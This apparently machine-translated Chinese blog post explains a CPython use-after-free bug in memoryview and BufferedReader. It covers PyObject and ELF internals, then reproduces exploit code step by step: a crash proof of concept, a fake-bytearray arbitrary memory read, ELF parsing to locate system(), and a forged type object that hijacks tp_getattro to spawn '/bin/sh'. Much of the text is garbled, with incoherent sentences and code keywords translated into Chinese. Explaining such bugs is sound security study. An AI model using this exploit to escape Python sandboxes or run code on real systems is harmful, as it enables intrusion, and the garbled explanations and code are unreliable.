Py学习  »  Python

一个潜藏10年的Python UAF漏洞

衡阳信安 • 1 年前 • 162 次点击  

0x00简介

译文:在 Python 3 的每个版本中利用 Use-After-Free 来执行代码

5 月 16 日,腾讯玄武实验室公众号还需要学习一些每日发布的一些基础知识说明,因此个人漏洞知识的基础文章要理解这个基础,写了一些基础文章。

先该该漏洞可以引发执行,但需要一个漏洞调用,直接能够执行,直接可以执行本漏洞,所以作者也说了,利用os.system,所以在一些沙盘上的意义不大箱环境才需要利用该漏洞;但是通过其他方式去执行system('/bin/bash')是一件很有趣的事情,所以有兴趣的方式看看下吧。

该漏洞针对的是 CPython(C 语言编写的 Python.exe),需要了解 Python 对象在 C 中的形式,了解特殊表示的对象,并编写一个语言memoryview表达是针对 Linux 的 Python3(64 位),还需要了解ELF文件结构。

导读

1~3:基础知识,会的可直接跳过。

4:译文的内容解释,漏洞解释和EXP解释。

5:另一个漏洞利用思路。

0x01 Python对象

1.1 PyObject

Python中所有对象都是PyObject的子类,在C中没有类,因此都是结构体,结构体的头部都是PyObject,_PyObject_HEAD_EXTRA在release版本中是不存在的。

长的对象,另外定义了一个结构体PyVarObject,另外一个字段ob_,用于表示该对象的大小类型不同,但大小不同表示长度的类型则需要改变类型的对象类型。

//3.10.4 //包含\ object.h/* PyObject_HEAD 定义每个 PyObject 的初始段。*/ #define PyObject_HEAD PyObject ob_base;#define PyObject_VAR_HEAD PyVarObject ob_base;#define PyObject_HEAD_INIT(type) \     { _PyObject_EXTRA_INIT \     1, type },#define PyVarObject_HEAD_INIT(type, size) \ 


    
    { PyObject_HEAD_INIT(type) size },typedef  struct  _object  { 
_PyObject_HEAD_EXTRA //该值release没有
Py_ssize_t ob_refcnt ;
PyTypeObject * ob_type ; } PyObject ;typedef struct {
PyObject ob_base ;
Py_ssize_t ob_size ; /* 变量部分的项目数 */ } PyVarObject ;

1.2 PyTypeObject

Python中类也是一个对象,在C语言中以一个PyTypeObject表示,所以每个Python对象通过type获取的都是一个PyTypeObject结构体数据。

tp_basicsize:表示的对象的基础数据的长度,可以理解为对象的头信息长度。

tp_itemsize:表示每个项目的长度,而项目的个数则在PyVarObjectob_size,因为只有PyVarObject变长的。

PyTypeObject结构体中还包含了一些函数指针,比如获取和设置对象的属性,其实就是满足PyTypeObject结构体中的tp_getattr指向tp_setattr的函数。

//3.10.4//包含\ object.h typedef  struct  _typeobject  PyTypeObject ;//包含\ cpython \object.h struct  _typeobject  { 
PyObject_VAR_HEAD
const char * tp_name ; /* 用于打印,格式为 "." */
Py_ssize_t tp_basicsize , tp_itemsize ; /* 用于分配 */
/* 实现标准操作的方法 */
析构函数 tp_dealloc ;
Py_ssize_t tp_vectorcall_offset ;
getattrfunc tp_getattr ;
setattrfunc tp_setattr ;
PyAsyncMethods * tp_as_async ; /* 以前称为 tp_compare (Python 2) 或 tp_reserved (Python 3) */
reprfunc tp_repr ;
/* 标准类的方法套件 */
PyNumberMethods * tp_as_number ;
PySequenceMethods * tp_as_sequence ;
PyMappingMethods * tp_as_mapping ;
/* 更多标准操作(这里是为了二进制兼容性) */
hashfunc tp_hash ;
ternaryfunc tp_call ;
reprfunc tp_str ;
getattrofunc tp_getattro ;
setattrofunc tp_setattro ;
/* 作为输入/输出缓冲区访问对象的函数 */
PyBufferProcs * tp_as_buffer ;
/* 用于定义可选/扩展功能存在的标志 */
unsigned long tp_flags ;
常量 字符 * tp_doc ; /* 文档字符串 */
/* 在 2.0 版中分配的含义 */
/* 为所有可访问对象调用函数 */
traverseproc tp_traverse ;
/* 删除对包含对象的引用 */
inquiry tp_clear ;
/* 在 2.1 版中分配的含义 */
/* 丰富的比较 */
richcmpfunc tp_richcompare ;
/* 弱引用启动器 */
Py_ssize_t tp_weaklistoffset ;
/* 迭代器 */
getiterfunc tp_iter ;
iternextfunc tp_iternext ;
/* 属性描述符和子类化的东西 */
struct PyMethodDef * tp_methods ;
结构 PyMemberDef * tp_members ;
结构 PyGetSetDef * tp_getset ;
// 堆类型的强引用,静态类型的借用引用
struct _typeobject * tp_base ;
PyObject * tp_dict ;
descrgetfunc tp_descr_get ;
descrsetfunc tp_descr_set ;
Py_ssize_t tp_dictoffset ;
initproc tp_init ;
分配函数 tp_alloc ;
新函数tp_new ; freefunc tp_free ; /* 低级空闲内存例程 */查询tp_is_gc ; /* 对于 PyObject_IS_GC */ PyObject * tp_bases ; PyObject * tp_mro ; /* 方法解析顺序 */ PyObject * tp_cache ; PyObject * tp_subclasses ; PyObject * tp_weaklist ; 析构函数tp_del ;








/* 类型属性缓存版本标签。在 2.6 版中添加 */
unsigned int tp_version_tag ;
析构函数 tp_finalize
vectorcallfunc tp_vectorcall ; };

1.3 字节数组

bytearray虽然是变长,但数据字符串通过指针指向内存,实际数据存储在了ob_bytes中。

//3.10.4 //包含\cpython\ bytearrayobject.h typedef  struct  { 
PyObject_VAR_HEAD
Py_ssize_t ob_alloc ; /* ob_bytes 中分配了多少字节 */
char * ob_bytes ; /* 物理后备缓冲区 */
char * ob_start ; /* ob_bytes 内部的逻辑开始 */
Py_ssize_t ob_exports ; /* 多少缓冲区导出 */ } PyByteArrayObject ;

1.4 字节

bytes对象数据都是存储在PyBytesObject结构体中的,看来PyByteArrayObject结构体是通过指向的具体数据。

可知 1. 中,一个数据类型都存在一个字节,数据为\x00

//3.10.4 //包含\cpython\ bytesobject.h typedef  struct  { 
PyObject_VAR_HEAD
Py_hash_t ob_shash ;
字符 ob_sval [ 1 ];
/* 不变量: * ob_sval 包含 'ob_size+1' 元素的空间。 * ob_sval[ob_size] == 0。 * ob_shash 是字节串的散列值,如果尚未计算,则为 -1。 */ } PyBytesObject ;

1.5 清单

ob_item 理解是指针的指针,可以为指针,每个对象*都是一个指针。

//3.10.4 //Include\cpython\listobject.h typedef  struct  { 
PyObject_VAR_HEAD
/* 指向列表元素的指针向量。list[0] 是 ob_item[0] 等 */
PyObject ** ob_item ;
/* ob_item 包含“已分配”元素的空间。当前使用的数字 * 是 ob_size。 * 不变量: * 0 <= ob_size <= 已分配 * len(list) == ob_size * ob_item == NULL 意味着 ob_size == 已分配 == 0 * list.sort() 临时设置为 -1 以检测突变。 * * 项通常不能为 NULL,除非在构建期间 * 列表在构建它的函数之外尚不可见。 */
Py_ssize_t 已 分配} PyListObject ;

0x02 memoryview与id

2.1 内存视图

Python的内建类memoryview

可以理解为指针,官方的说明,正常使用只能字节指向或者数组对象的数据,是无法指向对象的。

class  memoryview ( object ) #创建一个引用object的memoryview。对象必须支持缓冲协议。支持缓冲区协议的内置对象包括字节和字节数组。

指向bytearray,就相当于PyByteArrayObject->ob_bytes;

指向bytes,就相当于PyBytesObject->ob_sval;

并且记录了一个具体的长度,无法越界。

v = memoryview ( b 'abcd' ) len ( v )  # 4 v [ 0 ]  #61 v = memoryview ( bytearray ( b '' )) len ( v )  # 4 


    
v [ 0 ]  #61

2.2 身份证

Python 中的 id 函数返回的值实际上是该对象在内存中的首地址。

官方文档:https://docs.python.org/3/library/functions.html#id

CPython 实现细节:这是对象在内存中的地址。

0x03 ELF文件

这里推荐一本书《程序员的自我修养》,ELF文件解析主要是该书以及elf.h文件。

因为Exp是针对64位的,所以介绍的结构体都是64位的。

3.1 文件头

结构体

//include\linux\elf.h typedef  struct  elf64_hdr  { 
unsigned char e_ident [ 16 ]; /* ELF "幻数" */
Elf64_Half e_type ;
Elf64_Half e_machine ;
Elf64_Word e_version ;
Elf64_Addr e_entry ; /* 入口点虚拟地址 */
Elf64_Off e_phoff ; /* 程序头表文件偏移量 */
Elf64_Off e_shoff ; /* 节头表文件偏移量 */
Elf64_Word e_flags ;
Elf64_Half e_ehsize ;
Elf64_Half e_phentsize ;
Elf64_Half e_phnum ;
Elf64_Half e_shentsize ;
Elf64_Half e_shnum ;
Elf64_Half e_shstrndx ; } Elf64_Ehdr ;

e_ident中可以判断出是32位还是64位程序,数据存储是大端还是小端。

  • Elf64_Ehdr[0:4] = "\x7fELF"

  • Elf64_Ehdr[4]:1表示32位,2表示64位

  • Elf64_Ehdr[5]:1表示小端,2表示大端

e_type可以判断是否开启PIE。

  • Elf64_Ehdr[0x10:0x12]:2表示电影开启PIE;3表示未开启PIE

获取程序头表的信息

  • Elf64_Ehdr[0x20:0x28]:e_phoff,获取到偏移

  • Elf64_Ehdr[0x36:0x38]:e_phentsize,程序头每双的大小

  • Elf64_Ehdr[0x38:0x3A]:e_phnum,Program Header中包含的总数

获取Section Header Table的信息

  • Elf64_Ehdr[0x28:0x30]:e_shoff,获取到偏移

  • Elf64_Ehr[0x3A:0x3C]:e_shentsize,Section Header每双的大小

  • Elf64_Ehdr[0x3C:0x3E]:e_shnum,Section Header中包含的总数

3.2 节目头表

主要是说明ELF文件映射到内存中的,可以通过命令readelf -l查看;程序属性表中的每一段称为Segment,是多个Section的合集,相同的Section放于Segment,用于结构体如下:

//include\linux\elf.h typedef  struct  elf64_phdr  { 
Elf64_Word p_type ;
Elf64_Word p_flags ;
Elf64_Off p_offset ; /* 段文件偏移量 */
Elf64_Addr p_vaddr ; /* 段虚拟地址 */
Elf64_Addr p_paddr ; /* 段物理地址 */
Elf64_Xword p_filesz ; /* 文件中的段大小 */
Elf64_Xword p_memsz ; /* 内存中的段大小 */
Elf64_Xword p_align ; /* 段对齐、文件和内存 */ } Elf64_Phdr;

Elf64_Phdr[0:4]:p_type

占4个字节,不同类型的值参考于010编辑器的模板,只会到内存的LOAD类型,PT_DYNAMIC会地址显示动态在内存中的加载。

PT_NULL      = 0 , PT_LOAD      = 1 , PT_DYNAMIC   = 2 , PT_INEP     = 3 , PT_NOTE      = 4 , PT_SHLIB     = 5 , 


    
PT_PHDR      = 6 , PT_LOOS      = 0x60000000 , PT_HIOS      = 0x6fffffff , PT_LOPROC    = 0x700000x00fff = _ _    _

Elf64_Phdr[0x10:0x18]:p_vaddr

占字节,地址段的virtual address,即内存,若开启PIE,相对虚拟基地址的偏移。8

Elf64_Phdr[0x30:0x38]:p_align

占字节,段的属性,用于表示在内存中的单位,一般是80x1000。

3.3.动态

保存了动态链接器所需要的基本信息。

typedef  struct  { 
Elf64_Sxword d_tag ; /* 入口标签值 */
union {
Elf64_Xword d_val ;
Elf64_Addr d_ptr ;
} d_un ; } Elf64_Dyn ;

d_tag:明确值的类型。

/* 这是解析文件动态部分所需的信息 */ #define DT_NULL 0 #define DT_NEEDED 1 #define DT_PLTRELSZ 2 #define DT_PLTGOT 3 #define DT_HASH 4 #define DT_STRTAB 5 #define DT_SYMTAB 6 #define DT_RELA 7 #define DT_RELASZ 8 #define DT_RELAENT 9 #define DT_STRSZ 10 #define DT_SYMENT 11 #define DT_INIT 12 #define DT_FINI 13 #define DT_SONAME 14 #define DT_RPATH 15 #define DT_SYMBOLIC 16 #define DT_REL 17 # 9 #define DT_RELENTZ 18定义 DT_PLTREL 20 #define DT_DEBUG 21#define DT_TEXTREL 22 #define DT_JMPREL 23 #define DT_LOPROC 0x70000000 #define DT_HIPROC 0x7fffffff #define DT_MIPS_RLD_VERSION 0x70000001 #define DT_MIPS_TIME_STAMP 0x70000002 


    
#define DT_MIPS_ICHECKSUM 0x70000003 #define DT_MIPS_IVERSION 0x70000004 #define DT_MIPS_FLAGS 0x70000005 
#define RHF_NONE 0
#define RHF_HARDWAY 1
#define RHF_NOTPOT 2 #define DT_MIPS_BASE_ADDRESS 0x70000006 #define DT_MIPS_CONFLICT 0x70000008 #define DT_MIPS_LIBLIST 0x70000009 #define DT_MIPS_LOCAL_GOTNO 0x7000000a #define DT_MIPS_CONFLICTNO 0x700001BL00b #define DT_MIPS_LIBLIST000#define DT_MIPS_SYMTABNO 0x70000011 #define DT_MIPS_UNREFEXTNO 0x70000012 #define DT_MIPS_GOTSYM 0x70000013 #define DT_MIPS_HIPAGENO 0x70000014 #define DT_MIPS_RLD_MAP 0x70000016//其他#define DT_INIT_ARRAY 0x19 #define DT_INIT_ARRAYSZ 0x1b #define DT_FINI_ARRAY 0x1a #define DT_FINI_ARRAYSZ 0x1c

部分类型的解释,参考《程序员的自我修养》

d_tag类型d_un的含义
DT_NEEDED的共享对象文件,d_pt依赖者表示依赖所共享对象文件的字符串表中的引用在引用的字符串表中的名称,在段表中的索引确定根据Section的sh_link来
DT_SYMTAB动态链接符号表在内存中的地址,d_ptr表示.dynsym的地址
DT_STRTAB动态链接字符串表在内存中的地址,d_ptr表示.dynstr的地址
DT_STRSZ动态链接字符串表的大小,d_val表示大小
DT_HASH 动态链接hash表地址,d_ptr表示.hash的地址
DT_SONAME本共享对象的“SO-NAME”,因此.so文件仅存在
DT_RPATH动态链接对象搜索路径
DT_INIT初始化代码地址,.init的地址
DT_FINI结束代码的地址,.fini的地址
DT_REL动态链接重定位表的地址,如.rel
DT_RELA动态链接重定位表的地址,如.rela.dyn
DT_RELENT动态重定位表入口数量
DT_RELAENT动态重定位表入口数量
DT_INIT_ARRAY.init_array的地址
DT_INIT_ARRAYSZ.init_array的长度
DT_FINI_ARRAY.fini_array的地址
DT_FINI_ARRAYSZ.fini_array的长度
DT_PLTGOT.got.plt的地址
DT_JMPREL.rela.plt的地址,PLT相关的重定位表地址

3.4 重定位表

重表定位是有,在看段表的时候,是会看到.rel和.rela的重定位,分别对应的情节结构体有不同。(PS:段表是Section Header Table,但由于是Section Header Table,但由于不加载到内存中,所以就未作详细说明)

typedef  struct  elf64_rel  { 
Elf64_Addr r_offset ; /* 应用动作的位置 */
Elf64_Xword r_info ; /* 重定位的索引和类型 */ } Elf64_Rel ;typedef struct elf64_rela {
Elf64_Addr r_offset ; /* 应用动作的位置 */
Elf64_Xword r_info ; /* 重定位的索引和类型 */
Elf64_Sxword r_addend ; /* 用于计算值的常量加数 */ } Elf64_Rela ;

r_offset:占8个字节,重定位的地址。

r_info:占8字节,最低位字节4用于表示类型,高位字节表示的值。4

Exp中关注的重定位表是.rela.plt(.dynamic中的DT_JMPREL所指),表示表中r_info_type的类型都是R_X86_64_JUMP_SLO,对应的7,而r_info_value是重定位的符号在符号表中中的索引,.rela.plt相关的符号表是.dynsym(.dynamic中的DT_SYMTAB所指)。

3.5 符号表

符号表每个有一个,符号表的代表第一个符号(索引为0)一般为典型项。结构如下:

typedef  struct  elf64_sym  { 
Elf64_Word st_name ; /* 符号名称,字符串 tbl 中的索引 */
unsigned char st_info ; /* 类型和绑定属性 */
unsigned char st_other ; /* 没有定义的含义,0 */
Elf64_Half st_shndx ; /* 相关节索引 */
Elf64_Addr st_value ; /* 符号的值 */
Elf64_Xword st_size ; /* 相关符号大小 */ } Elf64_Sym ;

Elf64_Sym[0:4]:st_name

4个字节,表示符号名称字符串描述在字符串表的偏移量,但具体是哪个字符串表项则需要看自己所在段的描述段表的sh_link(表示引用的字符串表段表)段表中的索引)。

Exp关注的符号表是.dynsym,它所关联的字符串表是.dynstr(.dynamic中的DT_STRTAB所指)。

0x04 漏洞与Exp

4.1 起因

译文作者是关注到了一个问题:memoryview to freeed memory会导致segfault

看一下POC

导入 ioclass  File ( io . RawIOBase ): 
def readinto ( self , buf ):
global view
view = buf
def readable ( self ):
return Truef = io BufferedReader 文件 ())f read ( 1 ) # 获取 BufferedReader 使用的缓冲区的视图del f # deallocate buffer view = view . cast ( 'P' ) L = [ None ] * len ( view ) # 创建数组大小相同的列表
#(这可能与 view 一致)view [ 0 ] = 0 # 用 NULL 覆盖第一项print ( L [ 0 ]) # segfault: 取消引用 NULL

4.1.1 获取memoryview

POC 中不同的官方变量观点的类型是memoryview,至于原因,我勉励我与文档注释一下,并且就一眼,我并不完全正确。

调用f.read(1)到自定义类的方法,并调用调用调用内存的方法。

首先根据官方文档https://docs.python.org/3/library/io.html#io.BufferedReader,知道BufferedReader继承于BufferedIOBase

调用链:

  1. BufferedIOBase 的读取方法:_io__Buffered_read_impl,内部调用_bufferedreader_read_generic

  2. _bufferedreader_read_generic内部会调用_bufferedreader_raw_read

  3. _bufferedreader_raw_read会使用PyMemoryView_FromBuffer创建memoryview对象,然后通过PyObject_CallMethodOneArg(self->raw, _PyIO_str_readinto, memobj)调用内部子类的readinto方法。

源代码版本3.10.4,保留了调用链部分代码,完整代码可根据第一行注释的路径查看源码。

//模块\_io\bufferedio.c/*[clinic input] _io._Buffered.read     size as n: Py_ssize_t(accept={int, NoneType}) = -1     / [clinic start generated code]*/ static  PyObject  * _io__Buffered_read_impl ( buffered  * self 


    
,  Py_ssize_t  n ) / *[诊所结束生成代码:output=f41c78bb15b9bbe9 input=7df81e82e08a68a2]*/ { 
......
res = _bufferedreader_read_generic ( self , n );
…… }/* 通用读取函数:从流中读取,直到读取到足够的字节,* 或直到发生 EOF 或直到 read() 阻塞。*/静态 PyObject * _bufferedreader_read_generic (缓冲 * self , Py_ssize_t n ) {
......
r = _bufferedreader_raw_read ( self , out + written , r );
…… }静态 Py_ssize_t _bufferedreader_raw_read (缓冲 * self , char * start , Py_ssize_t len ) {
......
memobj = PyMemoryView_FromBuffer ( & buf );
if ( memobj == NULL )
返回 - 1 ;
/* 注意:当 EINTR 发生时 PyErr_SetFromErrno() 调用 PyErr_CheckSignals() 所以我们不需要自己做。 然后我们重试读取,如果没有处理程序 引发则忽略信号(参见问题 #10956)。 */
do {
res = PyObject_CallMethodOneArg ( self -> raw , _PyIO_str_readinto , memobj );
} while ( res == NULL && _PyIO_trap_eintr ());
…… }

4.1.2 对象释放

del f零个对象释放对象,那么查看指向的对象就释放了;无法通过代码创建一个内存对象去引用一个字节,删除后指向的对象并不会释放内存,因为计数未清。

4.1.3 重新申请同样大小的内存

view = view.cast('P')因此,将视图内的数据为指针,因为需要根据视图来申请新的1.5 list对象项目,主要是分析,POC 将根据需要考虑的情况,首先将视图的内容视图的数据类型转换为依赖,再根据视图的创建列表对象,也就是L = [None] * len(view)

此时查看存储的就是PyObject*,都是指向的对象,然后通过将第一个指针指向0,再获取导入报告。

也可以通过id来获取其他对象的地址,其实是修改了PyObject*,当然也可以给view[0],这样可以列表L的成员了,比如:

视图[ 0 ]  


    
=  id ( 'a' )打印( L [ 0 ])  #a

4.2 漏洞利用

4.2.1 投资成就

利用漏洞可以让memoryview对象指向一个PyObject*[],利用id函数不同的对象,再利用list对象L[n]来使用对象。

这里就重新获得了,结构体是对象的存在指针和对象,并且只在中ob_byte的位置想要读取的内存位置,再设置_arrayview[0] = id(bytearray),那么L[ 0]就可以作为ByteArray对象读取字节数据地址了,比如L[0][0:8]读取的前8字节。

typedef 结构 { 
PyObject_VAR_HEAD
Py_ssize_t ob_alloc ; /* ob_bytes 中分配了多少字节 */
char * ob_bytes ; /* 物理后备缓冲区 */
char * ob_start ; /* ob_bytes 内部的逻辑开始 */
Py_ssize_t ob_exports ; /* 多少缓冲区导出 */ } PyByteArrayObject ;

作者的就是修改和ob_start,问题给出的答案现在是PyByteArrayObject对象的一个字节类型,因为字节的字节的对象就是如何存储在的PyBytesObject,通过id获取Py字节的首地址中,然后再上固定量,可以指向ob_sval,ob_sval的值是我们可以控制的。

typedef  struct  { 
PyObject_VAR_HEAD
Py_hash_t ob_shash ;
字符 ob_sval [ 1 ]; } PyBytesObject ;

最终效果变成(作者的exp代码)

io  = 打开__self__ def  uN ( b ): 
out = 0
for i in range ( len ( b )):
out |= ( b [ i ] & 0xff ) << i * 8
return outdef u64 ( x ):
断言 len ( x ) == 8
返回 uN ( x )def u32 ( x ):
断言 len ( x ) == 4
返回 uN ( x )def u16 ( x ):
断言 len ( x ) == 2
返回 uN ( x )def p64 ( x ):
s = bytearray ()
x > 0 :
s 附加( x & 0xff )
x >>= 8
返回 s ljust ( 8 , b ' \0 ' )def flat ( * args ):
return b '' 加入参数 文件( io . _RawIOBase ):
def readinto ( self , buf ):
全局 视图
view = buf
def readable ( self ):
return True 漏洞利用
def _create_fake_byte_array ( self , addr , size ):
byte_array_obj = flat (
p64 ( 10 ), # refcount
p64 ( id ( bytearray )), # type obj
p64 ( size ), # ob_size
p64 ( size ), # ob_alloc
p64 ( addr ), #ob_bytes
p64 ( addr ), #ob_start
p64 (0x0 ), # ob_exports
)
自我no_gc append ( byte_array_obj ) # 在 return self后停止 gc 释放
释放缓冲区[ 0 ] = id ( byte_array_obj ) + 32
def 泄漏自我 地址 长度):
自我_create_fake_byte_array 地址 长度
返回 自我fake_objs [ 0 ] [ 0 :长度]
def __init__ ( self ):
# 触发 bug
全局 视图
f = io . BufferedReader 文件())
f 阅读( 1 )
del f
视图 = 视图演员表'P'
自我fake_objs = [] * len 视图
自我freed_buffer = 查看
自我no_gc = []

在利用函数中获取视图对象,存储为初始化内存请求的列表对象,其数据内存空间由释放缓冲区指向。freed_bufferfake_objs

4.2.2 寻找系统函数地址

先说一下思路,主要是解析ELF文件,根据.dynamic中的信息去读取.got.plt['system']的值,读取内存的方法都是利用的4.2.1内存泄露

  1. PyTypeObject 函数的地址,文件头的地址。根据该段的地址,该段的地址,文本段的地址和每个 ELF 的地址;

  2. 可见页面的首页地址(一般是0x1000指向),找到低地址处,找到ELF文件头魔\x7fELF,因为此时文件头的位置是加载在页的首地址的,并且此页的首地址是程序的加载地址;

  3. 解析ELF文件头,根据e_type的值判断是否开启PIE。

  4. 解析文件头,获取PHT的首地址,PHT的个数,PHT每项的大小,如果依次进行,找到PIp_type的PT_DYNAMIC(2),获取到.dynamic的内存地址,,,获取到.dynamic的内存地址到的内存地址需要加上第2步获取到的程序地址;

  5. 遍历.dynamic段,获取到重定位表(DT_JMPREL:23),符号表(DT_SYMTAB:6),字符串表(DT_STRTAB:5),这里获取到的地址是绝对地址,即使开启了PIE,也已经已经重定位好了。

  6. 遍历重定位表,根据r_info的高4位在符号表中获取的索引,因为.dynamic中指向的重定位表的R_X86_64_JUMP_SLO;再根据符号表中st_name的找到去读取字符串表,名称那么此时的r_offset值就是.got.plt['system'],PS:作者的exp中根据“重定位系统”的地址。got.plt表中的相应偏移,)

说明一下,第 6 步和作者的解释思路有点不同,不同点如下:

  • 说明中根据重表的偏移量去读取的。得到表中的相应偏移量,我认为这重定位的定位偏移量了,作者不知道偏移量的原因我不是;

  • 没有完全开始信任值.got.plt['system']的作者,但是如果存在PLT,则还去寻找桩桩,ELF的绑定,.got.plt['system']一存储的就是PLT桩代码,这一点作者不信任.got.plt['system']的原因我也不知道;

我认为我的想法没有问题,因此专门编写了作者查找系统地址的说明

PAGE_SIZE  =  4096 SIZEOF_ELF64_SYM  =  24class  Exploit : 
def find_bin_base ( self ):
# Leak tp_dealloc 指向 Python
# 二进制文件的 PyLong_Type 指针。
泄漏 = 自我 leak ( id ( int ), 32 )
cpython_binary_ptr = u64 ( leak [ 24 : 32 ])
addr = ( cpython_binary_ptr >> 12 ) << 12 # 页面对齐地址
# 在页面中向后工作,直到找到二进制文件的开头
对于 范围内i ( 10000 ):nxt = self 泄漏( addr , 4 )如果nxt == b ' \x7f ELF' : return addr addr -= PAGE_SIZE return None





def find_system ( self ):
""" 返回系统 PLT 存根的地址,或者 如果二进制文件已满 RELRO,则返回系统本身的地址。 """
bin_base = self find_bin_base ()
数据 = 自我泄漏( bin_base , 0x1000 )
# 解析 ELF 头
type = u16 ( data [ 0x10 : 0x12 ])
is_pie = type == 3
phoff = u64 ( data [ 0x20 : 0x28 ])
phentsize = u16 ( data [ 0x36 : 0x38 ])
phnum = u16 ( data [ 0x38 : 0x3a ])
# Find .dynamic section
dynamic = None
for i in range ( phnum ):
hdr_off = phoff + phentsize * i
hdr = data [ hdr_off : hdr_off + phentsize ]
p_type = u32 ( hdr [ 0x0 : 0x4 ])
p_vaddr = u64 ( hdr [ 0x10 : 0x18 ])
如果 p_type == 2: # PT_DYNAMIC
动态 = p_vaddr
如果 动态
打印“[!!] 找不到 PT_DYNAMIC 部分”
返回
if is_pie :
动态 += bin_base
print ( '[*] .dynamic: {}' . format ( hex ( dynamic )))
dynamic_data = e . 泄漏动态 500
# 解析 Elf64_Dyn 条目,提取我们需要的内容
i = 0
symtab = None
strtab = None
rela = None while True : d_tag = u64 ( dynamic_data [ i * 16 : i * 16 + 8 ]) d_un = u64 ( dynamic_data [ i * 16 + 8 : i * 16 + 16 ])如果d_tag



== 0 and d_un == 0 :
break
elif d_tag == 5 : # DT_STRTAB
strtab = d_un
elif d_tag == 6 : # DT_SYMTAB
symtab = d_un
elif d_tag == 23 : # DT_JMPREL rela
= d_un i
+ = 1
如果 strtab None symtabNonerela None print ( "[!!] Missing required info in .dynamic" )返回None


print ( '[*] DT_SYMTAB: {}' . format ( hex ( symtab )))
print ( '[*] DT_STRTAB: {}' . format ( hex ( strtab )))
print ( '[*] DT_RELA: {} ' .格式十六进制相对)))
# 遍历重定位表,对于每个条目,我们读取相关的 symtab
# 条目,然后读取 strtab 条目以获取函数名称。
rela_data = e 泄漏( rela , 0x1000 )
i = 0
True :
off = i * 24
r_info = u64 ( rela_data [ off + 8 : off + 16 ])
symtab_idx = r_info >> 32 # ELF64_R_SYM
symtab_entry = e. 泄漏( symtab + symtab_idx * SIZEOF_ELF64_SYM , SIZEOF_ELF64_SYM )
strtab_off = u32 ( symtab_entry [ 0 : 4 ])名称= e 泄漏( strtab + strtab_off , 6 ) if name == b 'system' : print ( '[*] Found system at rela index {}' .format ( i )) system_got = u64



( rela_data [ off : off + 8 ])
中断
i += 1
func = u64 ( self.leak ( system_got , 8 ) ) print ( '[*] system : {}' . format ( hex ( func ))) return func

e = Exploit ()系统 = e 查找系统()

4.2.3 执行函数

当函数系统的流程呢,然后是什么类型的,这里可以选择对象类型的对象,然后是对象的类型,类对象有函数地址,描述覆盖为系统函数,tp_getattr比如,然后执行obj.aaa,就去执行tp_getattr指向的函数了。

还有一个需要解决的是传参问题,Python在调用对象方法时,第一个参数是对象本身,是一个PyObject作者,利用这个点,将obj->ob_refcnt的值设置为"/bin/sh" ,这样的第一个参数就相当于是char传递给系统了,在64位下,ob_refcnt的长度是8,而/bin/sh\x00长度也是8,不然就超过了obj->ob_type的值了(PS:会在第一个调用对象方法时,也会有第一个obj-> \x2eob_ref)

作者的解释

class  Exploit : 
def set_rip ( self , addr , obj_refcount = 0x10 ):
"""使用假对象和关联类型对象设置 rip。"""
# 假类型对象
type_obj = flat (
p64 ( 0xac1dc0de ), # refcount
b ' X' * 0x68 , #padding
p64 ( addr ) * 100 , #vtable funcs
)
self . no_gc 附加(类型_obj )
# Fake PyObject
data = flat (
p64 ( obj_refcount ), #refcount
p64 ( id ( type_obj )), #point to fake type object ) self . no_gc 追加数据



# 字节数据从对象self中的偏移量 32 开始freed_buffer [ 0 ] = id (数据) + 32
try :
# 现在我们触发它。
这会在我们的假类型对象self上调用 tp_getattro fake_objs [ 0 ] trigger
except :
# 当我们退出 shell
pass时避免混乱的错误输出e . set_rip (系统, obj_refcount = u64 ( b ' \x2e bin/sh \x00 ' ))

4.3 彩蛋

UAF漏洞是需要io.RawIOBase,因此需要io模块,但作者没有使用import,而是用io=open.__self__替代方案。

打开。self的 io 模块其实是_io,这个是 Python 组装的模块,而import io导入的 io 模块是PYTHON_HOME\lib\io.py,io 就是对_io模块的 Base 封装,io.RawIO 就是_io.RawIOBase 的这个封装了。

为什么open.__self__就是_io模块呢,这就是本篇彩蛋的内容了。

打开是PyCFunctionObject 结构体对象。

_io是PyModuleObject结构体对象。

4.3.1自我是什么

可知源,可以知道自己PyCFunctionObjectm_self,但是这个值来了呢,需要一下子_io的初始化。

//3.10.4 //包含\cpython\ methodobject.h typedef  struct  { 
PyObject_HEAD
PyMethodDef * m_ml ; /* 要调用的 C 函数的描述 */
PyObject * m_self ; /* 作为 'self' 参数传递给 C 函数,可以是 NULL */
PyObject * m_module ; /* __module__ 属性,可以是任何东西 */
PyObject * m_weakreflist ; /* 弱引用列表 */
vectorcallfunc vectorcall ; } PyCFunctionObject ;#define PyCFunction_GET_SELF(func) \ (((PyCFunctionObject *)func) -> m_ml -> ml_flags & METH_STATIC ? \ NULL : ((PyCFunctionObject *)func) -> m_self)//Objects\methodobject.c static PyObject * meth_get__self__ ( PyCFunctionObject * m , void * closure ) {
PyObject * self ;
自我 = PyCFunction_GET_SELF ( m );
if ( self == NULL )
self = Py_None ;
Py_INCREF 自我);
返回 自我}静态 PyGetSetDef meth_getsets [] = {
{ "__doc__" , ( getter ) meth_get__doc__ , NULL , NULL },
{ "__name__" , ( getter ) meth_get__name__ , NULL , NULL },
{ "__qualname__" , ( getter ) meth_get__qualname__ , NULL , NULL },
{ "__self__" , ( getter ) meth_get__self__, NULL , NULL },
{ "__text_signature__" , ( getter ) meth_get__text_signature__ , NULL , NULL },
{ 0 } };

4.3.2 构建_io模块的初始化

看下PyModuleObject结构体的定义。

//3.10.4 //包含\internal\ pycore_moduleobject.h typedef  struct  { 
PyObject_HEAD
PyObject * md_dict ;
结构 PyModuleDef * md_def ;
无效 * md_state ;
PyObject * md_weaklist ;
// 用于清除 md_dict 后的日志记录
PyObject * md_name ; } PyModuleObject ;

PyModuleObjectPyCFunctionObject一个描述自己的结构体,分别是PyModuleDefPyMethodDef

//3.10.4 //Include\moduleobject.h typedef  struct  PyModuleDef { 
PyModuleDef_Base m_base ;
常量 字符* m_name ;
常量 字符* m_doc ;
Py_ssize_t m_size ;
PyMethodDef * m_methods ;
结构 PyModuleDef_Slot * m_slots ;
traverseproc m_traverse ;
查询 m_clear ;
freefunc m_free ; } PyModuleDef ;//包含\ methodobject.h struct PyMethodDef {
const char * ml_name ; /* 内置函数/方法的名称 */
PyCFunction ml_meth ; /* 实现它的 C 函数 */
int ml_flags ; /* METH_xxx 标志的组合,主要 描述 C func 预期的参数 */
const char * ml_doc ; /* __doc__ 属性,或 NULL */ }; typedef struct PyMethodDef PyMethodDef ;

基本结构体说完了,看看模块的初始化_io_PyIO_Module是_io的描述,里面包含了PyMethodDef module_methods,有一个open方法的描述_IO_OPEN_METHODDEF

